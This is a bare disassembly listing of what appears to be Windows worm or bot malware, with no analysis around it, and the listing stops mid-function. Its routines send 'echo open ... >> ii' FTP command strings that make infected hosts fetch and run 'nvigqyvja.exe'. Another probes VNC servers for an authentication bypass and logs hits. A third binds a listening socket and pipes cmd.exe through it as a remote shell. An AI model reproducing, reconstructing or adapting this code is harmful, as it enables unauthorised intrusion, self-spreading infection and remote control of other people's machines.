mov [ebp+arg_4], eax
jz short loc_40DD78
loc_40DD70: ; CODE XREF: sub_40D99C+3D7j
inc eax
test al, 3
jnz short loc_40DD70
mov [ebp+arg_4], eax
loc_40DD78: ; CODE XREF: sub_40D99C+3D2j
lea ecx, [ebp+var_30]
push 1Ch ; Size
add eax, esi
push ecx ; Src
push eax ; Dst
call _memcpy
add [ebp+arg_4], 1Ch
push edi
call sub_41B0B1
push 18h ; Size
lea eax, [ebp+var_48]
push ebx ; Val
push eax ; Dst
call _memset
push 14h ; Size
lea eax, [ebp+var_5C]
push ebx ; Val
push eax ; Dst
mov [ebp+var_48], 5
mov [ebp+var_47], bl
mov [ebp+var_46], bl
mov [ebp+var_45], 3
mov [ebp+var_44], 10h
mov [ebp+var_3E], bx
mov [ebp+var_3C], ebx
mov [ebp+var_34], bx
mov [ebp+var_32], 1Fh
call _memset
add esp, 28h
push ebx
push ebx
push 1
push ebx
call ds:dword_4270E4 ; CreateEventA
mov [ebp+var_4C], eax
mov byte ptr [ebp+Size+3], bl
mov dword ptr [ebp+var_10+4], ebx
loc_40DDE5: ; CODE XREF: sub_40D99C+4D3j
cmp dword ptr [ebp+var_10+4], 2
jge loc_40DE7A
push 1 ; char
push 10B8h ; int
push [ebp+arg_4] ; int
inc dword ptr [ebp+var_10+4]
push esi ; Src
lea esi, [ebp+var_48]
sub esp, 18h
push 6
pop ecx
mov edi, esp
push [ebp+var_4] ; int
rep movsd
call sub_40D8AE
add esp, 2Ch
test al, al
jz short loc_40DE77
cmp [ebp+var_4C], ebx
jz short loc_40DE69
lea eax, [ebp+var_5C]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_60DC]
push 2000h
push eax
push [ebp+var_4]
call ds:dword_4270E8 ; ReadFile
test eax, eax
jnz short loc_40DE50
call ds:dword_42708C ; RtlGetLastWin32Error
cmp eax, 3E5h
jnz loc_40DA51
loc_40DE50: ; CODE XREF: sub_40D99C+4A1j
push 3E8h
push [ebp+var_4C]
call ds:dword_4270A0 ; WaitForSingleObject
cmp eax, 102h
jnz short loc_40DE69
mov byte ptr [ebp+Size+3], 1
loc_40DE69: ; CODE XREF: sub_40D99C+480j
; sub_40D99C+4C7j
cmp byte ptr [ebp+Size+3], bl
mov esi, [ebp+var_8]
jz loc_40DDE5
jmp short loc_40DE7A
; ---------------------------------------------------------------------------
loc_40DE77: ; CODE XREF: sub_40D99C+47Bj
mov esi, [ebp+var_8]
loc_40DE7A: ; CODE XREF: sub_40D99C+44Dj
; sub_40D99C+4D9j
push [ebp+var_4]
mov edi, ds:dword_427068
call edi ; CloseHandle
push esi
call sub_41B0B1
cmp [ebp+var_4C], ebx
pop ecx
jz short loc_40DE96
push [ebp+var_4C]
call edi ; CloseHandle
loc_40DE96: ; CODE XREF: sub_40D99C+4F3j
cmp byte ptr [ebp+Size+3], bl
setnz al
loc_40DE9C: ; CODE XREF: sub_40D99C+B7j
pop edi
pop esi
pop ebx
leave
retn
sub_40D99C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DEA1 proc near ; CODE XREF: .text:0040DFB8p
var_5A0 = byte ptr -5A0h
Str = byte ptr -1A0h
Dst = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_BC = dword ptr 0C4h
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor esi, esi
push 10h ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+Dst], 2
push eax
call ds:dword_42720C ; inet_addr
push [ebp+arg_BC]
mov [ebp+var_C], eax
call ds:dword_427210 ; htons
push esi
push 1
push 2
mov [ebp+var_E], ax
call ds:dword_427220 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_40DF6F
lea eax, [ebp+Dst]
push 10h
push eax
push ebx
call ds:dword_427214 ; connect
cmp eax, 0FFFFFFFFh
jz short loc_40DF6F
mov edi, 400h
push esi
mov esi, ds:dword_427218
lea eax, [ebp+var_5A0]
push edi
push eax
push ebx
call esi ; recv
mov eax, offset Str ; "nvigqyvja.exe"
push eax
push eax
push dword_4CB390
push [ebp+arg_0]
call sub_40AC10
pop ecx
push eax
push offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
lea eax, [ebp+Str]
push 190h ; Count
push eax ; Dest
call __snprintf
add esp, 1Ch
lea eax, [ebp+Str]
push 0
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Str]
push eax
push ebx
call ds:dword_427224 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_40DF73
loc_40DF6F: ; CODE XREF: sub_40DEA1+50j
; sub_40DEA1+62j
xor eax, eax
jmp short loc_40DF8A
; ---------------------------------------------------------------------------
loc_40DF73: ; CODE XREF: sub_40DEA1+CCj
push 0
lea eax, [ebp+var_5A0]
push edi
push eax
push ebx
call esi ; recv
push ebx
call ds:dword_42721C ; closesocket
push 1
pop eax
loc_40DF8A: ; CODE XREF: sub_40DEA1+D0j
pop edi
pop esi
pop ebx
leave
retn
sub_40DEA1 endp
; ---------------------------------------------------------------------------
push ebx
push esi
push edi
xor ebx, ebx
loc_40DF94: ; CODE XREF: .text:0040DFDAj
lea eax, [esp+14h]
push ebx
push eax
call sub_40D99C
pop ecx
test al, al
pop ecx
jz short loc_40DFC7
push 65h
lea esi, [esp+14h]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40DEA1
add esp, 0C0h
test eax, eax
jnz short loc_40DFDC
loc_40DFC7: ; CODE XREF: .text:0040DFA3j
test ebx, ebx
jnz short loc_40DFD6
push 7D0h
call ds:dword_427078 ; Sleep
loc_40DFD6: ; CODE XREF: .text:0040DFC9j
inc ebx
cmp ebx, 2
jb short loc_40DF94
loc_40DFDC: ; CODE XREF: .text:0040DFC5j
push 1
pop eax
pop edi
pop esi
pop ebx
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DFE3 proc near ; CODE XREF: sub_40E0D1+91p
var_5A0 = byte ptr -5A0h
Dest = byte ptr -1A0h
Dst = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_BC = dword ptr 0C4h
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor esi, esi
push 10h ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+Dst], 2
push eax
call ds:dword_42720C ; inet_addr
push [ebp+arg_BC]
mov [ebp+var_C], eax
call ds:dword_427210 ; htons
push esi
push 1
push 2
mov [ebp+var_E], ax
call ds:dword_427220 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_40E0B1
lea eax, [ebp+Dst]
push 10h
push eax
push ebx
call ds:dword_427214 ; connect
cmp eax, 0FFFFFFFFh
jz short loc_40E0B1
mov edi, 400h
push esi
mov esi, ds:dword_427218
lea eax, [ebp+var_5A0]
push edi
push eax
push ebx
call esi ; recv
mov eax, offset Str ; "nvigqyvja.exe"
push eax
push eax
push dword_4CB390
push [ebp+arg_0]
call sub_40AC10
pop ecx
push eax
push offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
lea eax, [ebp+Dest]
push 190h ; Count
push eax ; Dest
call __snprintf
add esp, 1Ch
lea eax, [ebp+Dest]
push 0
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Dest]
push eax
push ebx
call ds:dword_427224 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_40E0B5
loc_40E0B1: ; CODE XREF: sub_40DFE3+50j
; sub_40DFE3+62j
xor eax, eax
jmp short loc_40E0CC
; ---------------------------------------------------------------------------
loc_40E0B5: ; CODE XREF: sub_40DFE3+CCj
push 0
lea eax, [ebp+var_5A0]
push edi
push eax
push ebx
call esi ; recv
push ebx
call ds:dword_42721C ; closesocket
push 1
pop eax
loc_40E0CC: ; CODE XREF: sub_40DFE3+D0j
pop edi
pop esi
pop ebx
leave
retn
sub_40DFE3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E0D1 proc near ; CODE XREF: sub_40C125+1EAp
; DATA XREF: .data:off_431B04o
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = byte ptr 8
arg_4 = byte ptr 0Ch
arg_A0 = dword ptr 0A8h
arg_A8 = dword ptr 0B0h
push ebp
mov ebp, esp
sub esp, 10h
push esi
lea eax, [ebp+arg_4]
push edi
push eax
mov [ebp+var_10], 2
call dword_4CB694 ; inet_addr
push [ebp+arg_A0]
mov [ebp+var_C], eax
call dword_4CB654 ; htons
push 6
push 1
push 2
mov [ebp+var_E], ax
call ds:dword_427220 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40E143
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call ds:dword_427214 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_40E124
push esi
jmp short loc_40E13D
; ---------------------------------------------------------------------------
loc_40E124: ; CODE XREF: sub_40E0D1+4Ej
push 0
push 1213h
push offset dword_4329BC
push esi
call ds:dword_427224 ; send
cmp eax, 0FFFFFFFFh
push esi
jnz short loc_40E147
loc_40E13D: ; CODE XREF: sub_40E0D1+51j
call ds:dword_42721C ; closesocket
loc_40E143: ; CODE XREF: sub_40E0D1+3Cj
xor eax, eax
jmp short loc_40E189
; ---------------------------------------------------------------------------
loc_40E147: ; CODE XREF: sub_40E0D1+6Aj
call ds:dword_42721C ; closesocket
push 216Bh
lea esi, [ebp+arg_0]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40DFE3
add esp, 0C0h
test eax, eax
jz short loc_40E186
mov eax, [ebp+arg_A8]
shl eax, 6
inc dword_431B08[eax]
lea eax, dword_431B08[eax]
loc_40E186: ; CODE XREF: sub_40E0D1+9Ej
push 1
pop eax
loc_40E189: ; CODE XREF: sub_40E0D1+74j
pop edi
pop esi
leave
retn
sub_40E0D1 endp
; =============== S U B R O U T I N E =======================================
sub_40E18D proc near ; CODE XREF: .text:0040E27Bp
; .text:0040E2DDp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_8]
xor esi, esi
loc_40E195: ; CODE XREF: sub_40E18D+2Dj
test edi, edi
jle short loc_40E1C0
mov eax, [esp+8+arg_4]
push 0
add eax, esi
push edi
push eax
push [esp+14h+arg_0]
call dword_4CB66C ; recv
test eax, eax
jz short loc_40E1BC
cmp eax, 0FFFFFFFFh
jz short loc_40E1BC
sub edi, eax
add esi, eax
jmp short loc_40E195
; ---------------------------------------------------------------------------
loc_40E1BC: ; CODE XREF: sub_40E18D+22j
; sub_40E18D+27j
xor eax, eax
jmp short loc_40E1C3
; ---------------------------------------------------------------------------
loc_40E1C0: ; CODE XREF: sub_40E18D+Aj
push 1
pop eax
loc_40E1C3: ; CODE XREF: sub_40E18D+31j
pop edi
pop esi
retn
sub_40E18D endp
; =============== S U B R O U T I N E =======================================
sub_40E1C6 proc near ; CODE XREF: .text:0040E2C7p
; .text:0040E2F4p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_8]
test edi, edi
jz short loc_40E203
xor esi, esi
test edi, edi
jle short loc_40E1FD
loc_40E1D6: ; CODE XREF: sub_40E1C6+35j
mov eax, edi
push 0
sub eax, esi
push eax
mov eax, [esp+10h+arg_4]
add eax, esi
push eax
push [esp+14h+arg_0]
call dword_4CB6A4 ; send
cmp eax, 0FFFFFFFFh
jz short loc_40E203
test eax, eax
jz short loc_40E203
add esi, eax
cmp esi, edi
jl short loc_40E1D6
loc_40E1FD: ; CODE XREF: sub_40E1C6+Ej
push 1
pop eax
loc_40E200: ; CODE XREF: sub_40E1C6+3Fj
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_40E203: ; CODE XREF: sub_40E1C6+8j
; sub_40E1C6+2Bj ...
xor eax, eax
jmp short loc_40E200
sub_40E1C6 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 24Ch
push ebx
mov ax, word_433C00
push esi
push edi
push 0
push 1
push 2
mov [ebp-2], ax
pop esi
push esi
call dword_4CB6D4 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_40E235
push eax
jmp short loc_40E269
; ---------------------------------------------------------------------------
loc_40E235: ; CODE XREF: .text:0040E230j
lea eax, [ebp+0Ch]
push eax
call dword_4CB694 ; inet_addr
push dword ptr [ebp+0A8h]
mov [ebp-48h], eax
mov [ebp-4Ch], si
call dword_4CB654 ; htons
mov [ebp-4Ah], ax
lea eax, [ebp-4Ch]
push 10h
push eax
push ebx
call dword_4CB5FC ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_40E274
push ebx
loc_40E269: ; CODE XREF: .text:0040E233j
call dword_4CB6EC ; closesocket
jmp loc_40E46F
; ---------------------------------------------------------------------------
loc_40E274: ; CODE XREF: .text:0040E266j
lea eax, [ebp-38h]
push 0Ch
push eax
push ebx
call sub_40E18D
add esp, 0Ch
test eax, eax
jz loc_40E468
lea eax, [ebp-20h]
and byte ptr [ebp-2Ch], 0
push eax
lea eax, [ebp-28h]
push eax
lea eax, [ebp-38h]
push offset aRfb03d_03d ; "RFB %03d.%03d\n"
push eax
call _sscanf
add esp, 10h
cmp eax, esi
jnz loc_40E468
cmp dword ptr [ebp-28h], 3
jz short loc_40E2C0
cmp dword ptr [ebp-20h], 8
jnz loc_40E468
loc_40E2C0: ; CODE XREF: .text:0040E2B4j
lea eax, [ebp-38h]
push 0Ch
push eax
push ebx
call sub_40E1C6
add esp, 0Ch
test eax, eax
jz loc_40E468
lea eax, [ebp-3Ch]
push esi
push eax
push ebx
call sub_40E18D
add esp, 0Ch
test eax, eax
jz loc_40E468
lea eax, [ebp-2]
push 1
push eax
push ebx
call sub_40E1C6
add esp, 0Ch
test eax, eax
jz loc_40E468
lea eax, [ebp-24h]
push 4
push eax
push ebx
call sub_40E18D
add esp, 0Ch
test eax, eax
jz loc_40E468
mov eax, [ebp-24h]
mov edi, 0FF0000h
mov ecx, eax
mov edx, eax
and ecx, edi
mov esi, 0FF00h
shr edx, 10h
or ecx, edx
mov edx, eax
shl edx, 10h
and eax, esi
or edx, eax
shr ecx, 8
shl edx, 8
or ecx, edx
mov [ebp-24h], ecx
jnz loc_40E468
push 1
push offset byte_4CB50C
push ebx
call sub_40E1C6
add esp, 0Ch
test eax, eax
jz loc_40E468
lea eax, [ebp-1Ch]
push 18h
push eax
push ebx
call sub_40E18D
add esp, 0Ch
test eax, eax
jz loc_40E468
xor eax, eax
mov ecx, [ebp-8]
mov al, [ebp-1Bh]
mov edx, ecx
mov ah, [ebp-1Ch]
mov [ebp-1Ch], ax
xor eax, eax
mov al, [ebp-19h]
mov ah, [ebp-1Ah]
mov [ebp-1Ah], ax
xor eax, eax
mov al, [ebp-13h]
mov ah, [ebp-14h]
mov [ebp-14h], ax
xor eax, eax
mov al, [ebp-11h]
mov ah, [ebp-12h]
mov [ebp-12h], ax
xor eax, eax
mov al, [ebp-0Fh]
mov ah, [ebp-10h]
mov [ebp-10h], ax
mov eax, ecx
and eax, edi
shr edx, 10h
or eax, edx
mov edx, ecx
shl edx, 10h
and ecx, esi
or edx, ecx
shr eax, 8
shl edx, 8
or eax, edx
mov [ebp-8], eax
add eax, 2
push eax
call ??2@YAPAXI@Z ; operator new(uint)
mov edi, [ebp-8]
pop ecx
test edi, edi
mov esi, eax
jle short loc_40E3F8
push edi
push esi
push ebx
call sub_40E18D
add esp, 0Ch
loc_40E3F8: ; CODE XREF: .text:0040E3EBj
and byte ptr [edi+esi], 0
lea eax, [ebp+0Ch]
push eax
push esi
push dword ptr [ebp-20h]
lea eax, [ebp-24Ch]
push dword ptr [ebp-28h]
push offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]"
push 200h
push eax
call __snprintf
push 0
lea eax, [ebp-24Ch]
push dword ptr [ebp+0B8h]
push eax
lea eax, [ebp+1Ch]
push eax
push dword ptr [ebp+8]
call sub_409A73
lea eax, [ebp-24Ch]
push eax
call sub_4151AD
mov eax, [ebp+0B0h]
add esp, 34h
shl eax, 6
inc dword_431B08[eax]
push ebx
lea eax, dword_431B08[eax]
call ds:dword_42721C ; closesocket
push 1
pop eax
jmp short loc_40E471
; ---------------------------------------------------------------------------
loc_40E468: ; CODE XREF: .text:0040E285j
; .text:0040E2AAj ...
push ebx
call ds:dword_42721C ; closesocket
loc_40E46F: ; CODE XREF: .text:0040E26Fj
xor eax, eax
loc_40E471: ; CODE XREF: .text:0040E466j
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_40E476 proc near ; DATA XREF: sub_40E504+15Bo
var_404 = byte ptr -404h
var_4 = byte ptr -4
push ebp
mov ebp, esp
sub esp, 404h
loc_40E47F: ; CODE XREF: sub_40E476+25j
; sub_40E476+41j
push 0
lea eax, [ebp+var_404]
push 400h
push eax
push dword_4CE394
call dword_4CB66C ; recv
test eax, eax
jle short loc_40E47F
lea ecx, [ebp+var_4]
push 0
push ecx
push eax
lea eax, [ebp+var_404]
push eax
push dword_4CE390
call ds:dword_4270E0 ; WriteFile
jmp short loc_40E47F
sub_40E476 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_40E4B9 proc near ; DATA XREF: sub_40E504+142o
var_404 = byte ptr -404h
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 404h
loc_40E4C2: ; CODE XREF: sub_40E4B9+2Fj
; sub_40E4B9+49j
lea eax, [ebp+var_4]
and [ebp+var_4], 0
push 0
push eax
lea eax, [ebp+var_404]
push 400h
push eax
push dword_4CE384
call ds:dword_4270E8 ; ReadFile
cmp [ebp+var_4], 0
jle short loc_40E4C2
push 0
lea eax, [ebp+var_404]
push [ebp+var_4]
push eax
push dword_4CE394
call dword_4CB6A4 ; send
jmp short loc_40E4C2
sub_40E4B9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_40E504 proc near ; DATA XREF: sub_401ACD+2D0Eo
var_11C = byte ptr -11Ch
var_98 = dword ptr -98h
var_7C = dword ptr -7Ch
var_50 = dword ptr -50h
var_4C = word ptr -4Ch
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = byte ptr -3Ch
Dst = word ptr -38h
var_36 = word ptr -36h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_18 = byte ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 11Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 28h
mov esi, eax
pop ecx
lea edi, [ebp+var_11C]
rep movsd
push 1
xor edi, edi
pop esi
mov [eax+98h], esi
push 10h ; Size
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push [ebp+var_98]
call dword_4CB654 ; htons
push 6
push esi
push 2
mov [ebp+var_36], ax
call dword_4CB6D4 ; socket
mov [ebp+arg_0], eax
lea eax, [ebp+Dst]
push 10h
push eax
push [ebp+arg_0]
call dword_4CB680 ; bind
push 5
push [ebp+arg_0]
call dword_4CB67C ; listen
mov ebx, ds:dword_4270FC
mov esi, ds:dword_427068
loc_40E584: ; CODE XREF: sub_40E504+1CBj
push edi
push edi
push [ebp+arg_0]
call dword_4CB6E8 ; accept
mov dword_4CE394, eax
lea eax, [ebp+var_C]
push edi
push eax
push offset dword_4CE390
push offset dword_4CE38C
mov [ebp+var_C], 0Ch
mov [ebp+var_4], 1
mov [ebp+var_8], edi
call ebx ; CreatePipe
lea eax, [ebp+var_C]
push edi
push eax
push offset dword_4CE388
push offset dword_4CE384
call ebx ; CreatePipe
push 44h ; Size
lea eax, [ebp+var_7C]
push edi ; Val
push eax ; Dst
call _memset
mov eax, dword_4CE38C
add esp, 0Ch
mov [ebp+var_44], eax
mov eax, dword_4CE388
mov [ebp+var_40], eax
push edi
push 1
lea eax, [ebp+var_3C]
push 2
push eax
mov [ebp+var_7C], 44h
mov [ebp+var_50], 101h
mov [ebp+var_4C], di
call ds:dword_4270F8 ; GetCurrentProcess
push eax
push dword_4CE388
call ds:dword_4270F8 ; GetCurrentProcess
push eax
call ds:dword_4270F4 ; DuplicateHandle
lea eax, [ebp+var_28]
push eax
lea eax, [ebp+var_7C]
push eax
push edi
push edi
push 4000090h
lea eax, [ebp+var_C]
push 1
push eax
lea eax, [ebp+var_C]
push eax
push offset aCmd_exe ; "cmd.exe"
push edi
call ds:dword_42706C ; CreateProcessA
lea eax, [ebp+var_18]
push eax
push edi
push edi
push offset sub_40E4B9
lea eax, [ebp+var_C]
push edi
push eax
call ds:dword_42707C ; CreateThread
mov [ebp+var_14], eax
lea eax, [ebp+var_18]
push eax
push edi
push edi
push offset sub_40E476
lea eax, [ebp+var_C]
push edi
push eax
call ds:dword_42707C ; CreateThread
push 0FFFFFFFFh
mov [ebp+var_10], eax
push [ebp+var_28]
call ds:dword_4270A0 ; WaitForSingleObject
push edi
push [ebp+var_10]
call ds:dword_4270AC ; TerminateThread
push edi
push [ebp+var_14]
call ds:dword_4270AC ; TerminateThread
push [ebp+var_10]
call esi ; CloseHandle
push [ebp+var_14]
call esi ; CloseHandle
push edi
push [ebp+var_28]
call ds:dword_4270F0 ; TerminateProcess
push dword_4CE38C
call esi ; CloseHandle
push dword_4CE390
call esi ; CloseHandle
push dword_4CE384
call esi ; CloseHandle
push dword_4CE388
call esi ; CloseHandle
push [ebp+var_24]
call esi ; CloseHandle
push [ebp+var_28]
call esi ; CloseHandle
jmp loc_40E584
sub_40E504 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40E6D4 proc near ; DATA XREF: .data:00429010o
jmp $+5
sub_40E6D4 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40E6D9 proc near
push 0FFFEh
push 400h
call sub_418685
pop ecx
mov dword_4CE39C, eax
pop ecx
retn
sub_40E6D9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E6F0 proc near ; DATA XREF: sub_40BACE+34Do
Dest = byte ptr -6C0h
var_2C0 = dword ptr -2C0h
var_C0 = byte ptr -0C0h
var_B0 = dword ptr -0B0h
var_AC = dword ptr -0ACh
var_A4 = dword ptr -0A4h
Str = byte ptr -0A0h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
Dst = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 6C0h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 27h
mov esi, eax
pop ecx
lea edi, [ebp+var_B0]
rep movsd
push 1
xor ebx, ebx
pop esi
mov [eax+98h], esi
push 10h ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push [ebp+var_A4]
call dword_4CB654 ; htons
push ebx
push esi
push 2
mov [ebp+var_12], ax
mov [ebp+var_10], ebx
call dword_4CB6D4 ; socket
mov edi, eax
or esi, 0FFFFFFFFh
cmp edi, esi
jnz short loc_40E797
cmp [ebp+var_1C], ebx
jnz short loc_40E777
push ebx ; int
lea eax, [ebp+var_2C0]
push [ebp+var_20] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_B0] ; int
call sub_409A73
add esp, 14h
loc_40E777: ; CODE XREF: sub_40E6F0+65j
lea eax, [ebp+var_2C0]
push eax
call sub_4151AD
push [ebp+var_AC]
call sub_40B413
pop ecx
pop ecx
push ebx
call ds:dword_4270CC ; ExitThread
loc_40E797: ; CODE XREF: sub_40E6F0+60j
mov eax, [ebp+var_AC]
push 10h
imul eax, 234h
mov dword_43E59C[eax], edi
lea eax, [ebp+Dst]
push eax
push edi
call dword_4CB680 ; bind
cmp eax, esi
mov ebx, 400h
jnz loc_40E892
call dword_4CB5E8 ; WSAGetLastError
cmp eax, 2740h
jz short loc_40E817
xor esi, esi
cmp [ebp+var_1C], esi
jnz short loc_40E7F7
push esi ; int
lea eax, [ebp+var_2C0]
push [ebp+var_20] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_B0] ; int
call sub_409A73
add esp, 14h
loc_40E7F7: ; CODE XREF: sub_40E6F0+E5j
lea eax, [ebp+var_2C0]
push eax
call sub_4151AD
push [ebp+var_AC]
call sub_40B413
pop ecx
pop ecx
push esi
call ds:dword_4270CC ; ExitThread
loc_40E817: ; CODE XREF: sub_40E6F0+DEj
push 0FFFEh
push ebx
call sub_418685
pop ecx
mov dword_4CE39C, eax
pop ecx
mov [ebp+var_12], ax
lea eax, [ebp+Dst]
push 10h
push eax
push edi
call dword_4CB680 ; bind
cmp eax, esi
jnz short loc_40E892
call dword_4CB5E8 ; WSAGetLastError
xor esi, esi
cmp [ebp+var_1C], esi
jnz short loc_40E872
cmp eax, 2740h
jz short loc_40E872
push esi ; int
lea eax, [ebp+var_2C0]
push [ebp+var_20] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_B0] ; int
call sub_409A73
add esp, 14h
loc_40E872: ; CODE XREF: sub_40E6F0+159j
; sub_40E6F0+160j
lea eax, [ebp+var_2C0]
push eax
call sub_4151AD
push [ebp+var_AC]
call sub_40B413
pop ecx
pop ecx
push esi
call ds:dword_4270CC ; ExitThread
loc_40E892: ; CODE XREF: sub_40E6F0+CDj
; sub_40E6F0+14Cj
push 5
push edi
call dword_4CB67C ; listen
cmp eax, esi
jz loc_40E977
mov [ebp+var_4], 10h
mov esi, offset Str ; "nvigqyvja.exe"
loc_40E8AF: ; CODE XREF: sub_40E6F0+1D7j
; sub_40E6F0+227j ...
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_C0]
push eax
push edi
call dword_4CB6E8 ; accept
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz short loc_40E8AF
cmp [ebp+var_1C], 0
jnz short loc_40E8F0
push 0 ; int
lea eax, [ebp+var_2C0]
push [ebp+var_20] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_B0] ; int
call sub_409A73
add esp, 14h
loc_40E8F0: ; CODE XREF: sub_40E6F0+1DDj
lea eax, [ebp+var_2C0]
push eax
call sub_4151AD
pop ecx
lea eax, [ebp+var_2C0]
push 0
push 200h
push eax
push [ebp+arg_0]
call dword_4CB66C ; recv
cmp eax, 0FFFFFFFFh
jz short loc_40E8AF
push esi
push esi
push dword_4CB390
push [ebp+var_B0]
call sub_40AC10
pop ecx
push eax
push offset aEchoOpenSDOEch ; "echo open %s %d >> o&echo user 1 >>o &e"...
lea eax, [ebp+Dest]
push ebx ; Count
push eax ; Dest
call __snprintf
add esp, 1Ch
lea eax, [ebp+Dest]
push 0
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Dest]
push eax
push [ebp+arg_0]
call dword_4CB6A4 ; send
cmp eax, 0FFFFFFFFh
jz loc_40E8AF
inc dword_4CE3A4
jmp loc_40E8AF
; ---------------------------------------------------------------------------
loc_40E977: ; CODE XREF: sub_40E6F0+1ADj
push edi
call dword_4CB6EC ; closesocket
push [ebp+var_AC]
call sub_40B413
pop ecx
push 0
call ds:dword_4270CC ; ExitThread
sub_40E6F0 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E992 proc near ; DATA XREF: sub_40BACE+22Ao
var_A70 = byte ptr -0A70h
var_8E0 = dword ptr -8E0h
var_6E0 = dword ptr -6E0h
var_4C8 = byte ptr -4C8h
var_448 = dword ptr -448h
var_444 = dword ptr -444h
var_43C = dword ptr -43Ch
var_338 = byte ptr -338h
var_2D4 = byte ptr -2D4h
Dst = byte ptr -2A0h
var_23C = byte ptr -23Ch
var_22C = dword ptr -22Ch
var_228 = dword ptr -228h
Str = byte ptr -128h
Dest = byte ptr -0FCh
var_C8 = byte ptr -0C8h
Str1 = byte ptr -0B0h
var_4C = word ptr -4Ch
var_4A = word ptr -4Ah
var_48 = dword ptr -48h
var_3C = byte ptr -3Ch
var_2C = dword ptr -2Ch
var_28 = byte ptr -28h
var_24 = dword ptr -24h
var_20 = byte ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0A70h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 1
mov ecx, 0A9h
mov esi, eax
lea edi, [ebp+var_6E0]
pop ebx
rep movsd
mov [eax+2A0h], ebx
lea eax, [ebp+var_A70]
xor esi, esi
push eax
push 101h
mov [ebp+var_1C], ebx
mov [ebp+var_2C], ebx
mov [ebp+var_24], ebx
mov [ebp+var_22C], esi
mov [ebp+var_43C], esi
call ds:dword_4271F0 ; WSAStartup
push esi
push ebx
push 2
call ds:dword_427220 ; socket
mov esi, ds:dword_4271F4
lea ecx, [ebp+var_1C]
push 4
push ecx
mov edi, 0FFFFh
push 4
push edi
push eax
